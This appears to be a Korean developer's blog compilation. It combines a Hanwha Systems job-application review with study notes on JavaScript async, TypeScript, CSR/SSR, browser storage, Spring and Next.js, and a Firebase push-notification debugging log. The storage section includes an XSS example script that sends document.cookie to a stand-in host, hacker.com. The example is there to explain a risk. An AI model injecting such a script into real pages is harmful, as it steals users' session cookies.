1지망 서비스 개발, 2지망은 ERP 개발로 지원했고, ERP 개발 직무로 붙었다

일정

실제 진행된 채용 일정은 다음과 같다. 서합이 되면 코테/AI역량/조직적합도의 결과와 상관없이 면접을 보는 구조였다.

• ~09/27 서류 마감
• 11/6 합격 공지
• 11/8 코테
• ~11/11 AI역량 검사 및 조직 적합도 검사

합격 공지 이후 코테와 역량 및 조직 적합도 검사를 호로록 보니까, 미리 준비해두는 편이 좋았을 것 같다.

서류

• 직무 지원 이유 및 커리어 계획 (1000자)
• 차별화된 경험과 강점, 기여할 수 있는 점 (1000자)
• 책임감을 가지고 신속하게 행동하여 성과를 냈던 경험 (1000자)
• 급변하는 환경이나 상황에서 변화에 유연하게 대응하고 그 변화를 기회로 삼아 긍정적인 성과를 이루어낸 경험 (1000자)

작든 크든, 프로젝트 경험이 꽤 되는 내 입장에서는 각 문항에 프로젝트를 두개씩 예로 들어 작성했다.

AI 역량 검사

내 인생 두번째 AI 역량 검사였다. 많이 긴장했으나,, 정리하자면 크게 두가지 경험에 대해서 상황-행동-결과의 3단계로 나누어서 말하면 됐다. 솔직히 말을 논리정연하게 잘하는 편이 아니라 그냥 시선 처리라도 제대로 해보자 싶어, 질문에 눈을 고정한 채 아무말 파티를 했다.

코테

분명 사전 공지해준 문서에는 JS가 없어서 급히 Python를 공부했다. 사전 환경에서는 JS도 있었던 걸로 보아, 아마 응시는 가능했던 것으로 보이지만 이왕 공부한 김에 Python으로 고고. 본인은 백준 티어 실버 1수준에다가 최근에 부트캠프 프로젝트를 진행하며 코테 준비를 많이 못했음에도 올해는 실버 수준의 단순 구현 문제들로 구성되어있어, 어렵지 않게 올솔할 수 있었다. (크게 변별력이 있는 문제들은 아니었던 것 같으나 엣지 케이스를 생각을 못해서 감점은 있었을 수도?)

면접

한화시스템은 관련 유튜브, 블로그 등을 많이 보고 들어갔다.

면접 대기실에서도 여러 사람들과 말을 나눠보니 ERP에 대해 알고 오는 사람들이 많지 않은 편인 것 같으니, 다들 해당 직무에 대해 모른다고 너무 큰 걱정은 안해도 될 것 같다.

인사팀 질문

• 회사를 고르는 기준
• 같이 일하기 힘든 팀원

개발팀 질문

• 들었던 각 동아리 차이점
• 각 프로젝트에 대해 구체적인 설명
• 왜 프론트엔드를 희망했는지

대충 위와 같은 질문들이 이어졌다. 개발팀 두분, 인사팀 한분으로 구성되어있었고, 면접보다는 인터뷰와 더 가깝다고 느꼈다. 딱딱한 분위기이기 보다는 소규모 회의실과 같은 곳에 면접관과 내 거리도 가까웠고, 모두 반응도 잘해주셔서 편한 분위기 속에서 내 이야기를 속시원히 푸는 기회로 느껴졌다.

사실... 워낙에 편한 분위기를 만들어주셔서 그냥 삼촌들이랑 이야기하듯이 다 쏟아붙고 왔다ㅜㅋㅋㅋㅋㅋ 오바 친 것은 아닌가 할 정도로 솔직하게 이야기 해버려서 후회는 없지만, 요즘 MZ에 대한 이미지를 망친 것은 아닌가 걱정이다. 떨어지든 붙든 이 또한 좋은 양분이 되겠지! 별거 없는 내용의 후기 끗~!

서버 상태관리: 서버나 외부 데이터 소스에 저장된 데이터 전역 상태관리: Global Store에 정의되어 프로젝트 어디에서나 접근할 수 있는 상태

주로 서버 상태 관리를 위한 도구로는 Tanstack Query(구 React Query), SWR가 있고, 전역 상태 관리를 위한 도구로는 Redux, Redux Toolkit, MobX 등이 있다.

예전에는 useState과 useEffect만으로 서버 데이터를 관리하였으나, 요새는 다음과 같은 이유로 서버 데이터는 Tanstack Query, SWR로 관리하는 방식을 채택한다.

• API 데이터를 가져오는 과정을 간소화
• API 요청의 로딩 및 오류 상태를 관리
• 캐싱

null, undefined 차이

null

명시적으로 '값이 없다'라는 것을 나타내는 상태 주로 개발자가 의도적으로 값이 없음을 나타내고 싶을 때 사용한다.

undefined

변수가 선언되었지만, 아직 값을 할당받지 못한 상태 주로 시스템에서 자동으로 설정하는 값으로 생각하면 된다.

• 변수에 값이 할당되지 않은 초기 상태
• 함수 값을 명시적으로 반환하지 않으면 undefined를 반환

// 그냥 처음 알게 돼서 적어보았다.. null은 object...
typeof null // 'object'
typeof undefined // 'undefined'

Javscript 특징

싱글스레드

자바스크립트는 기본적으로 싱글스레드 언어로, 한 번에 하나의 작업만을 처리할 수 있다. 비동기 처리 작업이 싱글쓰레드인 Javascript에서 어떻게 가능한가에 대해서 궁금하다면 여기를 참고하자.

비동기 코드 처리

서버 데이터를 화면에 프론트엔드에서 그리고는 하지만,
JS는 기본적으로 순차적으로 코드를 처리하지만 비동기 코드의 처리 순서를 보장하지 않는다. 즉 데이터를 패칭(비동기)과 같이 시간이 오래 걸리는 로직의 경우 웹 브라우저에게 맡기고, 화면을 먼저 그릴 수도 있는 것이다. 데이터 패칭 -> 데이터를 가공 -> 렌더링 의 실행순서를 보장하는 방법이 중요하다. JS 이와 같은 비동기 로직을 처리하기 위해 등장한 callback, Promise, async-await의 특징들은 다음과 같다.

callback

파라미터로 전달받아 내부에서 실행되는 함수 즉, 코드를 통해 명시적으로 호출하는 함수가 아니라 함수를 등록해놓은 후 어떤 이벤트가 발생했거나 특정 시점에 도달했을 때 시스템에서 호출하는 함수를 말한다.

함수를 중첩해서 사용하는 방식으로, 비동기 처리 로직이 포함된 Javascript의 함수 실행순서를 보장해주지만, 코드가 복잡하고 가독성이 떨어지는 콜백지옥에 빠지지 않게 적절한 수준으로 사용해야한다. 그 유명한 콜백 지옥짤

Promise

비동기 처리를 위한 전용 객체 비동기 콜백 함수의 수행 여부에 따라, pending(대기), fulfilled(이행), rejected() 앞서 언급한 콜백 지옥을 해결하면서 메서드 체이닝(.then)으로 실행순서를 보장한다. 하지만 끊임없는 체이닝으로 코드의 가독성이 떨어지게 되는데, 이를 프로미스 지옥이라고도 부르는 것 같다 ...비동기 지옥 파뤼

// 사용 방법
function one(){
    return new Promise(비동기 func);
};

one()
    .then(two)
    .then(three)
    .then(four)
    .catch(errorCatch)

async-await

비동기 함수를 식별하고(async), 실행순서를 제어(await)하기 위한 키워드 비동기 코드를 동기 코드처럼 작성할 수 있다. 즉 중첩/체이닝으로부터 자유로운 코드를 얻을 수 있다. 아래의 예시를 보자.

function asyncFunc(value) {
  return new Promise(비동기 처리 로직);
}

// async === handleAsyncFunc은 비동기 함수야!
async function handleAsyncFunc() {
  try {
    const result1 = await asyncFunc(1);    // await === 다음거 수행하지 말고 기다려!
    const result2 = await asyncFunc(result1); // (위와 동일)
    const result3 = await asyncFunc(result2);  // (위와 동일)
  } catch (errorCatch)
}

handleAsyncFunc();

마치 비동기 코드가 아닌 마냥 순차적으로 처리되어야하는 로직들을 await 키워드로 나열했을 뿐이다. 이 await 키워드는 async 내에서 사용되며, 이 키워드를 만난 JS 엔진은 코드 실행을 일시중지하여 함수의 실행 순서를 보장하게 된다. 기존의 동기 코드들과 일관성을 가지므로, 코드의 가독성이 높아진다. 굿.

동시성

동시성이란 매우 빠르게 수행되어, 거의 동시에 실행되는 것처럼 보이는 것을 말한다. 자바스크립트에서는 이 동시성을 지원하기 위해 비동기 처리를 위한 브라우저에 내장되어있는 이벤트 루프, 워커들을 활용한다.

- Web Worker 싱글 쓰레드인 Javascript 환경에서 멀티 쓰레딩을 지원하기 위한 도구. 별도의 쓰레드에서 Javascript 코드를 실행할 수 있어 메인 스레드의 성능을 저하시키지 않고 무거운 작업을 처리할 수 있다. Web worker는 UI와 독립적으로 동작하기 위해 Dom에 접근 불가하며, 제한된 API만 사용 가능하다.

- Service Worker ** 웹 애플리케이션의 백그라운드에서 실행되는 스크립트. 네트워크 요청을 가로채고 캐싱을 관리하는 등의 작업을 수행할 수 있다. 이를 통해 오프라인 지원 및 푸시 알림과 같은 기능을 구현할 수 있다. Service worker는 **페이지와 독립적으로 실행되며, 페이지가 닫혀도 백그라운드에서 계속 실행된다.

나는 Web worker는 메인 쓰레드에 있는 코드들을 나누어 실행하고, Service worker는 기존 js 코드만으로는 할 수 없는, 브라우저의 도움을 받아야 하는 기능들을 추가 지원하기 위한 도구로 정리했다!

에러 핸들링

try-catch 활용(+finally)

-

async-await 내에서

-

typescript

type과 interface 차이

재선언

interface는 재선언할 경우 자동으로 병합할 수 있다. 하지만 이는 재사용성이 떨어지므로 추천하지 않는 방식.

// interface
interface Person {
    name: string;
    age: number;
}

interface Person {
    gender: string; // 기존의 Person타입에 병합됨
}

const person: Person = {
    name: "Alice",
    age: 30,
    gender: "female"
};

병합 방식

interface의 경우 extends 키워드를 통해 상속의 개념을 사용하고, type의 경우 & 연산자를 활용해 교차 개념을 사용하여 병합한다.

// interface
interface Employee extends Person {
    employeeId: number;
}

// type
type Employee = Person & {
    employeeId: number;
};

CSR, SSR

CSR, Client Side Rendering

" 서버에서는 빈 html 전송 -> 클라이언트에서 JS를 실행해 화면을 렌더링 " 화면 그리는 일을 클라이언트에게 모두 위임하는 렌더링 방식이다.
CSR을 채택하는 가장 대표적인 React를 활용한 프로젝트를 생각해보자. 버튼 클릭을 통한 페이지 전환시, 깜박거림이 없다. 왜일까?

새로운 페이지 내용을 꾸미기 위해 서버로 자원을 요청할 필요가 없기 때문이다. 대신에 화면을 꾸미기 위한 js 파일들을 클라이언트에서 가지고 있어야하기 때문에 초기 렌더링 시간이 오래 걸릴 수는 있지만 이후의 전환 속도는 빠르다.

또한 React는 크롤링이나 검색엔진에 있어 약점을 가진다. 크롤링은 서버가 요청했을 당시의 html의 정보를 긁어오지만 빈 html을 보내는 React 서비스는 내용이 노출되지 않았고, 검색엔진 또한 마찬가지였다. React의 발달과 함께 검색엔진도 이제는 React 서비스를 인덱싱할 수 있다지만, React는 자체적으로 검색엔진 최적화(SEO)에 대한 노력이 별도로 요구된다. e.g. react-helmet, react-snap 등과 같은 메타데이터 설정 라이브러리

SSR

" 서버에서 이미 화면이 꾸며진 html을 전송 " 화면을 그리는 일을 서버에서 처리 후 클라이언트에게 전송하는 방식이다. 요즘 프론트엔드 생태계에서 급 부상하고 있는 Next.js가 SSR을 채택하고 있다. React와는 반대로 서버에서 렌더링을 부담하기 때문에 초기 렌더링시간이 빠르지만, 서버의 부하가 커진다. 이미 서버로부터 내용이 완성된 html이 넘어가기 때문에 크롤링, 검색엔진에 있어 강점을 가진다.

스토리지

Local storage (5MB)

브라우저가 닫혀도 계속 유지되는 스토리지로, 도메인마다 독립적으로 저장된다. Javascript로 제어되기 때문에, 누구나 악성 스크립트를 통해 접근(XSS)할 수 있다. 따라서 민감한 정보를 저장하는데에는 적절하지 않다.

// XSS(Cross Site Scripting) 공격 예시
// client가 해당 a 태그를 클릭하면
<a href="javascript:alert('hello world')">클릭해보세요</a>
...
// hacker의 사이트로 내 로컬스토리지 정보 전송
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

Session storage (5MB)

브라우저가 닫히면 사라지는 스토리지로, 현재 떠 있는 브라우저 탭에 종속된다. 즉 같은 페이지여도 다른 탭으로 접속하면 다른 곳에 저장된다.

Cookie (4KB)

만료 유무에 따라 Session Cookie와 Persistent Cookie로 구분된다. Session Cookie의 생명주기는 Session Storage와, Persistent Cookie의 생명주기는 Local Storage와 유사하다. 특정 도메인에 대해 설정된 쿠키는 해당 도메인에 대한 HTTP 요청을 보낼 때 자동으로 포함되어, 세션관리, 개인화 경험을 위한 정보 등이 관리된다.

html

이벤트 버블링

이벤트 캡쳐링

컴포넌트 설계시 가장 신경 써야할 것

React는 하나의 커다란 트리 구조로 컴포넌트가 구성된다. 따라서 서로 다른 두 컴포넌트에 같은 데이터가 필요하다고 할 때, 각 컴포넌트가 부모자식 관계로 되어있지 않은 이상, 각 컴포넌트 간의 직접적인 데이터 전달은 어렵다.

react hooks

useMemo

연산 비용이 큰 계산을 캐싱하여 성능을 최적화하는 데 사용한다. 의존성 배열이 변경되지 않는 한, 기존 값을 재사용한다.

useCallback

함수가 다시 생성되지 않도록 캐싱하여, 함수가 자주 재생성되는 문제를 방지하고 성능을 최적화하는 데 사용한다.

프론트 엔드 빌드 과정

빌드 툴

webpack

프론트엔드 프레임워크 내 불필요한 공백들을 생략하여,

babel

1. 빌드 툴이 뭐가 있는지
2. 과정 어떤 변화가 일어나는지

참고

• 전역 상태 관리를 사용하지 않는 7가지 이유
• 카카오페이 프론트엔드 개발자들이 React Query를 선택한 이유
• Inpa Dev 👨‍💻:티스토리
• MDN-undefined
• DongSup Ahn-Promise와 Callback의 차이는? && async/await란?
• localStorage와 sessionStorage
• JWT 저장소에 대한 고민(feat. XSS, CSRF)

흥미로운 글 추천

• TypeScript 타입 시스템 뜯어보기: 타입 호환성

Controller / Service / Respository

• Controller: 유저와 개발자의 소통 공간, 뷰와 연결되는 곳
• Service: 개발자의 생각 공간, 로직 적는 곳
• Repository: 개발자와 data 와의 소통 공간

Annotation

• @RequestMapping(value="/java", method = RequestMethod.GET) == @GetMapping("/java") // 나머지 메서드 모두 마찬가지 PostMapping, ...

• @ResponseBody : 리턴하는 텍스트를 화면에 렌더링 Controller +@ResponseBody = @RestController

• @PathVariable

  // 스토어 Id
    @GetMapping("/{id}") // 아래 인자에 들어간 변수명과 일치해야함
    public Store getStoreById(@PathVariable int id) {
        ...
    }

• @ResponseStatus(HttpStatus.CREATED)

Record & Stream

Record

• 모든 필드가 private final이고 getter가 있으면 클래스를 record 타입으로 변경 가능

  record 클래스명(...fileds) 생성자

  Stream

• stream() 배열을 흘러가는 형태로 바꿔주는 처리 도구 기존에 for문을 통해 처리하던 작업들의 가독성을 높일 수는 있지만 하지만 성능은 더 나쁘다. 반환타입은 Stream

  // id에 따라 stores 리스트에서 Store 객체를 반환하는 메서드 예제
  Optional<Store> first = Utils.stores.stream().filter(el->el.getId() == id).findFirst();

RESTful API

리소스(resource)를 꺼내주는데에 목적을 둔 api

• endpoint

• method

  • GET
  • POST
  • PUT(POST 기반) body O
  • DELETE(GET 기반) body X
  • [PATCH] 전에 있는 놈을 변경

  
  
  

  전체 스토어를 가져온다	`GET /stores`
  스토어 추가한다	`POST /stores`
  스토어 안에 id=1 를 가져온다	`GET /stores/1`
  스토어 안에 이름이 커피가 들어간 친구들 뽑아온다	`GET /stores?name=커피&opentime=10`
  1번 스토어 이름을 커피로 바꾸고 싶다	`PUT /stores/1`
  스토어 1번을 지운다	`DELETE /stores/1`

정리

1. URL 복수형만 사용 (/store x)
2. 명사만 사용 (/stores/create x)
3. 소문자로 작성 (/storesCreate -> /store-create)
4. 언더바(_) 말고 하이픈(-)으로 작성 (/store_create -> /store-create)

status code

• 100 ~ 200 socket
• 200 ~ 300 http 통신(성공)
• 300 ~ 400 html을 사용할 때 (Found, Redirect)
• 400 ~ 500 클라이언트 실수 (404 Not found, 401 Unauthorization)
• 500 ~ 600 서버측 실수 (500 Internal server error)

자잘한 팁

• 클래스 필드에 대한 변경점은 많은 곳에서 열리는 것을 최대한 지양하도록 한다.
  • private 필드로 선언되었으나, 이곳저곳에서 변경되어야 한다면 public으로 변경 혹은 클래스 내부에서 제한된 조건으로 변경될 수 있도록 변경한다.
  • 변경될 일이 없는 필드는 final로 픽스하는게 좋다.

들어가기에 앞서

• build.gradle === React의 package.json
• Web Server: 내 컴퓨터에 http 통신 접근 할 수 잇게 도와주는 것
• Web Application Server(WAS): 내 컴퓨터에 http 통신 접근 할 수 있게 해주고, 코드를 돌리는 것 like tomcat, node.js
• Server Side Rendering(SSR): 서버를 거쳐서 html을 얻어오는 것
• Client Side Rendering(CSR): 클라이언트의 JS를 거쳐서 html을 얻어오는 것

Spring framework vs Spring boot

차이점

• Spring Framework는 main이 존재하지 않는다. 즉 Spring framework web을 만들면 tomcat을 실행한다.
• Spring boot는 main이 존재한다. 즉 Java를 실행해 서버를 연다.
• 이 외에도 Spring Framework는 xml 파일내 다뤄야하는게 많아 귀찮다. 주로 Spring Framework는 요즘 거의 안 쓰는 편이다.

Spring

Spring 구성요소 3가지

• Portable Service Abstraction(PSA) 서비스 추상화
• Dependency Injection(DI) 의존성 주입, Inversion of Control(IoC) 제어의 역전
• Aspect Oriented Programming(AOP) 관점지향

Bean

• bean 은 Spring 내부에서 관리하는 static 영역
• IoC(Spring bean) container: bean들을 모아놓은 곳
• DI 의존성 주입이란 bean을 꺼내 쓰는 것을 말함
• 이름 -> 타입 순으로 일치하는 bean을 가져온다.

  // e.g. bean 선언 예시
  public class DemoApplication {
    @Bean
    public String test2(){
        return "asdf";
    }
    @Bean
    public Student student(){
        return new Student();
    }
    ...
  }

+) @Component

• component는 bean과 같은 일반적인 객체가 아닌 클래스 자체를 외부에서 쓰고자 할 때 사용

+) Ioc Container 접근 방식

1. @Autowired 어노테이션을 활용하는 방식

2. Controller의 생성자의 인자로 삽입 Controller의 생성자 인자에는 자동으로 IoC Container를 넘겨주기 때문에 별도의 @Autowired 사용 없이 가져다가 사용할 수 있다.

   @Controller
   public class TestController {
    // @Autowired를 활용한 IoC 접근 방식 
    @Autowired
    String test;
    @Autowired
    Student student;
    @Autowired
    Data data;
   
    // 생성자를 활용한 IoC 접근방식
    public TestController(String test, Student student, Data data){
        this.test = test;
        this.student = student;
        this.data = data;
    }
   }

Annotation

• @Controller : url 매핑 및 처리로직 메서드 필드를 가지는 클래스에 선언
• @RequestMapping : url 매핑 메서드에 선언
• @Bean : 타 클래스에서 쓰일 데이터에 선언(함수 형태)
• @Autowired : Bean에서 쓰고 싶은 데이터를 꺼낼 때 선언
• @RequestParam : request body 접근시 사용

💻 실습

URL 매핑

• @RequestMapping 을 활용해 url 정보와 사용자 접근 메서드 정보를 넘긴다.

• template/ 하위에 존재하는 html 파일을 연결해 렌더링한다.

  @Controller
  public class TestController {
  ...
  @RequestMapping(value = "/java", method = RequestMethod.GET)
  public String java(){
    return "java";
  }
  
  @RequestMapping(value="/test", method = RequestMethod.GET)
  public String test(){
    return "test";
  }
  }

Post 요청 처리

String name, int age 속성을 가지는 Student 객체 추가 예제

1. HttpServeletRequest.getParameter() 활용

   // ./TestController.java
   @Controller
   public class TestController {
   ...
   @RequestMapping(value="/", method=RequestMethod.POST)
      public String postStudent(HttpServletRequest request){
          String name = request.getParameter("name");
          int age = Integer.parseInt(request.getParameter("age"));
          Student student = new Student(name, age);
          data.list.add(student);
          return "redirect:/";    // '/'으로 리다이렉트
      }
   }

2.@RequestParam 활용(추상화)

@Controller
public class TestController {
  ...
  @RequestMapping(value="/", method=RequestMethod.POST)
  public String postStudent(HttpServletRequest request, @RequestParam String name, @RequestParam Integer age){
          Student student = new Student(name, age);
          data.list.add(student);
          return "redirect:/";
      }
}

MVC

• Model, View, Controller
• 요즘엔 성능이 좋은 React 덕에 MVC 패턴으로 짜지 않음

정리

• 원시형 타입을 제외한 모든 클래스들을 참조형이라고 부른다.
• 클래스가 가지고 있는 변수들은 필드, 함수는 메서드라고 부른다.
• Overloading: 이름은 같지만 args를 다르게 하여 재사용성을 높이는 것
• Overriding: 이미 기존에 내장된 메서드의 내용을 바꾸는 것
• 현재 필드, 메서드, 클래스가 최종 상태임을 알리는 키워드 final
  • 필드는 더 이상 수정이 안됨 like 상수
  • 메서드는 하위로 overriding 될 수 없음
  • 클래스는 상속될 수 없음
• 접근제어자
  • public 다 가능
  • protected 패키지 다르면 x
  • (default) 패키지 다르면 x
  • private 나 아니면 x
    
• abstract class와 interface
  

  속성	abstract class	interface
  공통점	구현체 없는 메서드를 포함, 직접 인스턴스 생성 불가 (자식에게 상속 필수)
  상속 키워드	extends	implements
  필드	상수, 변수 모두 가능	상수만 가능(public static final)
  메서드	추상 메서드도 가능	추상 메서드만 가능

많이 사용되는 단축어

  // 출력 관련
  System.out.println() // sout
  System.out.printf() // souf
  // main 클래스 생성 
  public static void main(String[] args) {} // psvm

메서드 선언 방식

    접근제어자 리턴타입 메서드명(){}

상속

// extends를 통한 상속
public class Cat extends Animal{
    public Cat(String name, int age) {
        // 부모 필드를 본인의 필드로 상속 super 
        super(name, age);
    }

    @Override
    public void sound() {
        System.out.println("야옹");
    }
}

그 외

• abstract과 interface 같은 경우, 코드의 표준화 정도를 높이며 유지보수에 용이할 수는 있지만, 너무 타이트하기 때문에 실무에서는 지양한다고 하기도 함.

Udemy - Next.js 14 & React - The Complete Guide Section #1, #3 수강내용과 덧붙이기

기본 폴더구조 (Page Router)

/app 내에 존재하는 폴더 이름은 곧 라우팅 경로와 직결된다. 폴더 하위에는 다음과 같은 예약 파일명들이 존재한다.

• page.js : 렌더링할 페이지 콘텐츠 파일
• layout.js : 페이지들을 감싸고 있는 Wrapper layout
• not-found.js : Not Found에러의 fallback 페이지
• error.js : 모든 에러의 fallback 페이지
• loading.js : 로딩 화면
  • ... 이후에 더 배울 예정

React와의 차이점

React.js는 단일 페이지 내에 js를 통해 클라이언트쪽에서 화면을 동적으로 그려내었다(CSR, Client Side Rendering). Next.js는 서버에서 화면을 그려내어 html 파일 형태로 클라이언트 쪽에 보낸다. 이후 클라이언트 쪽에서는 받은 html을 js로 취급해 화면을 업데이트 한다(SSR, Server Side Rendering).

웹 브라우저에서 소스탭을 통해 확인한 index.html 파일

React 프로젝트 화면에 그려지는 콘텐츠의 내용이 보이지 않는다	Next 프로젝트 화면에 그려지는 모든 콘텐츠의 내용이 보여진다(<main>,<h1>)

그렇다면 이로써 얻게 되는 이점은 무엇인가?

기존의 React는 서버로부터 빈 화면을 가져와 화면을 동적으로 꾸며내었기에, 검색엔진에는 콘텐츠의 내용이 잡히질 않아 SEO측면에서 매우 불리하게 작용되었다. 하지만, Next의 등장으로 서버로부터 스타일링이 완성된 html를 가져올 수 있게 되면서 크롤러가 쉽게 문서의 내용을 파악할 수 있게 되었다.

Next는 기본적으로 서버 기반 컴포넌트(RSC, React Server Component)가 디폴트라, 이벤트 처리, client state 관리와 같은 client side 기능들은 page.js 파일 상단에 'use client'를 따로 명시하여 서버가 아닌 브라우저에서 실행될 수 있도록 해주어야한다.

JS를 다루다 보면 동시성, 블로킹 쓰레드, ...와 같은 개념들이 등장하고는 한다. 추상적으로는 알겠으나, 구체적으로 설명하기 힘들 걸 보면 모르는 것으로 판단! 한번 정리해보려고 한다. 우선 각각의 단어를 확실하게 정의해보자.

동시성

동시성은 주로 병렬성과 함께 언급이 되는데, 여러 작업이 실제로 동시에 수행이 되냐 마냐의 차이를 가진다.

동시성 >> 여러 개의 작업이 동시에 수행되는 것처럼 보이는 것 (실제론 매우 빠르게 번갈아 수행중) 병렬성 >> 실제로 한번에 여러개의 작업이 동시에 수행되는 것

블로킹 (Blocking)

블로킹<->논블로킹 은 다른 작업 시작시, 본인의 작업을 계속 수행할 수 있냐 없냐의 차이를 가진다. "제어권"이라는 단어를 통해 이들을 설명하기도 하는데, 제어권이란 기존에 수행하던 작업에 대한 지속 수행 여부를 결정하는

블로킹 >> 다른 작업을 시키게 되면 본인이 기존에 하던 작업을 모두 멈추고, 다른 작업이 수행된 후에 자신의 작업을 이어가는 방식 (제어권 X - 양도) 논블로킹 >> 다른 작업을 시킨 후, 바로 본인의 작업 진행 (제어권 O)

쓰레드 (Thread)

OS로터 자원을 할당받아 일을 수행하는 단위가 바로 프로세스이다. 각각의 프로세스는 Code / Data / Stack / Heap을 개별적으로 갖고, 일을 수행하게 된다.

하나의 프로세스 안에서도 Code / Data / Heap 영역은 공유한 채로 더욱 많은 일들을 처리할 수 있는데, 이때 각각의 실행흐름을 바로 쓰레드라고 부른다. 싱글 쓰레드는 단일 실행흐름만을 가질 수 있으며, 멀티 쓰레드는 아래 그림과 같이 자원을 공유하여 여러 개의 일처리를 할 수 있는 환경을 말한다.

자 그럼
JS는 싱글 쓰레드언어이다. = 한번에 하나의 작업만 가능하다 = 하던 작업을 마무리하기 전까지 다른 작업을 수행할 수 없다

하지만 나는 데이터를 받아오는 일을 시키면서 로딩 페이지를 띄워 보기도 했고, 다른 작업중에도 지속적으로 타이머를 동작시켜본 경험이 있다. ??

구체적으로 이해하기 위해서는 JS의 동작 방식에 대한 이해가 필요하다.

JS의 비동기함수 동작원리

아래의 모든 움짤 출처 ✨♻️ JavaScript Visualized: Event Loop

Call Stack

스택 구조로 구성되어 호출된 함수들이 쌓이고 LIFO(Last In First Out, 후입 선출) 방식으로 코드들이 수행되는 공간

Web API

웹 브라우저에서 제공하는 기능으로, JS 대신 비동기 작업을 담당해준다.

(Task || Callback) Queue

Web api를 통해 실행된 함수들이 Call Stack으로 옮겨가기 전에 순차적으로 쌓여있는 공간

Event Loop

이벤트 핸들러 함수들을 관리하고, Task Queue에 있는 콜백함수들을 Call Stack에 옮겨주는 작업을 담당 이때 Event Loop는 Call Stack이 비어있음을 확인하고 콜백함수들을 옮겨준다.

간단히 이야기하자면, JS는 주로 Web browser 위에서 구동이 되는데, 데이터 요청하기, 타이머 구동하기와 같은 비동기 함수들은 모두 Web browser에서 제공하는 Web API에게 넘겨버리고 본인의 일을 수행한다. 마치 백그라운드에서 돌아가는 것과 유사한데, 이 때문에 싱글 쓰레드이지만 한번에 여러가지 일을 수행하는 것처럼 보이는, 동시성을 갖게 되는 것이다.

참고

• Sync/Async, Blocking/Non-Blocking 무슨 차이일까?
• JavaScript Visualized: Event Loop 강추!!!
• Javascript 동작원리 (Single thread, Event loop, Asynchronous)

PWA 앱에 Firebase Cloud Message(FCM)을 활용하여 push notification을 구현하고자 했다.

FCM은 다음과 같이 동작한다. > 클라이언트, firebase로부터 vapid key를 통해 토큰 발급 (for기기 식별) > 서버, 토큰 저장 > 서버, 알림을 보내야할 때 firebase로 토큰 정보와 내용을 함께 전송 > FCM, 받은 토큰의 유저에게 해당 내용을 전송

이를 구현하면서 겪은 우당탕 이슈들이다.

일단 내 환경은 PWA를 위한 서비스 워커 설정 파일인 public/pwabuilder-sw.js 와 내 firebase configuration 정보와 messaging 객체가 담겨있는 public/firebase-messaging-sw.js 두개의 파일이 존재하고, public/index.html에 pwabuilder-sw.js를 아래와 같이 register 해두었다.

// public/index.html
...
<script>
    (async function () {
        if ("serviceWorker" in navigator) {
            let registration = await navigator.serviceWorker.getRegistration();
            if (!registration) {
                registration = await navigator.serviceWorker
                    .register("./pwabuilder-sw.js")
            }
       }
    })();
</script>

1️⃣ 알림 허가는 최초 한번만

브라우저에서 제공하는 알림 허가 모달은 사용자 경험을 해치지 않도록 최초 한번만 제공된다고 한다 (처음에 다시 안 뜨는 이유가 내 코드 때문인줄 알고 헤맸었다) Stackoverflow

2️⃣ public내에선 env 변수 접근 불가

// public/firebase-messaging-sw.js
const app = firebase.initializeApp({
   apiKey: process.env.REACT_APP_FIREBASE_API_KEY,
   authDomain: process.env.REACT_APP_FIREBASE_AUTH_DOMAIN,
   projectId: process.env.REACT_APP_PROJECT_ID,
   storageBucket: process.env.REACT_APP_STORAGE_BUCKET,
   messagingSenderId: process.env.REACT_APP_FIREBASE_MESSAGING_SENDER_ID,
   appId: process.env.REACT_APP_FIREBASE_APP_ID,
   measurementId: process.env.REACT_APP_FIREBASE_MEASUREMENT_ID,
});

fcm을 위해 반드시 /public에 firebase-messaging-sw.js라는 파일을 두고, firebase app을 초기화해야했다. 그리고 그 과정 속에서 내 firebase configuration들이 그대로 노출될 수 밖에 없는데, 이런 정보들은 당연히 감추어야한다는 생각에 무작정 .env에 두고 꺼내 쓰려했다.

_/public에서는 .env 파일을 읽을 수가 없다. _

그래서 FCM에 꼭 필요한 정보인 apiKey, projectId, messagingSenderId, appId만 담아서 올리기로 했다.

// public/firebase-messaging-sw.js
const app = firebase.initializeApp({
  apiKey: "xxxx",
  projectId: "xxxx",
  messagingSenderId: xxxx,
  appId: "xxxx",
});

3️⃣ no active Service Worker

문제 현상

• 처음 getToken() 호출시 아래와 같은 에러 발생.
• 두번째 getToken() 호출시 토큰이 받아와짐

나와 비슷한 이슈를 겪은 사람이 꽤 있었는데, issue#7693 선배님들께서는 이렇게 해결하셨다고 한다.

• 그냥 getToken을 두번 호출한다
• serviceWorker의 상태를 분리하여 "활성화" 상태일 경우에만 getToken()을 실행한다

첫번째 방법은 약간의 편법인 느낌이었고, 두번째 방법은 내 코드에서는 service worker가 늦게 활성화되는 것이 문제가 아니라 그냥 아예 활성화 될 생각이 없어보이고(?) getToken()을 실행해야 찔려서 설치-활성화되는 느낌이라 getToken()을 실행하기 전에 service worker 상태에 따라 분리하게 되면 영영 getToken()이 실행되지 않는게 문제였다. (이게 진짜 문제는 아닐 수 있지만 어쨌든 제대로 동작하지 않았다)

다른 방법이 있겠지하며 분석해보기 시작! 크롬 브라우저의 Application 탭에서 service worker의 상태를 확인해보았다.

[ 처음 등록된 PWA 서비스 워커 상태]

[ getToken() 호출시 서비스 워커 상태]

어라 서비스 워커가 추가로 활성화된다? (분명 서비스 워커는 하나만 등록된다 그랬는데..처음 등록된 PWA 서비스 워커도 활성화 상태로 나타난다. 이건 다른 개념인건가..?) 알고보니 위에 각 워커 상태 상단에 나오는 https://localhost:3000/firebase-cloud-messaging-push-scope, http://localhost:3000/ 가 워커의 적용 범위를 말하는 것이었다. 추가적으로 각 범위당 하나의 서비스워커만 가능하다는 것을 보면 아마 둘의 범위가 달라서 추가로 워커가 활성화될 수 있었던 것 같다. web.dev 서비스워커

일단 여기에서 내가 기존에 등록한 적 없는 firebase-cloud-messaging-push-scope 범위에서 새로운 서비스워커가 돌아가고 있다. (소스가 firebase-messaging-sw.js인걸 보아하니 import 해뒀던 firebase 관련 스크립트에서 등록을 해주는것 같다) 아무래도 저 워커가 먼저 설치 되어있어야 토큰을 정상적으로 가져올 수 있는건가?

즉 내가 이해한 실행 순서는 이와 같다. -> src/ 내 파일에서 getToken() 실행 -> 자동으로 firebase-messaging-sw.js 호출 및 실행 -> firebase-cloud-messaging-push-scope 범위의 서비스 워커 활성화

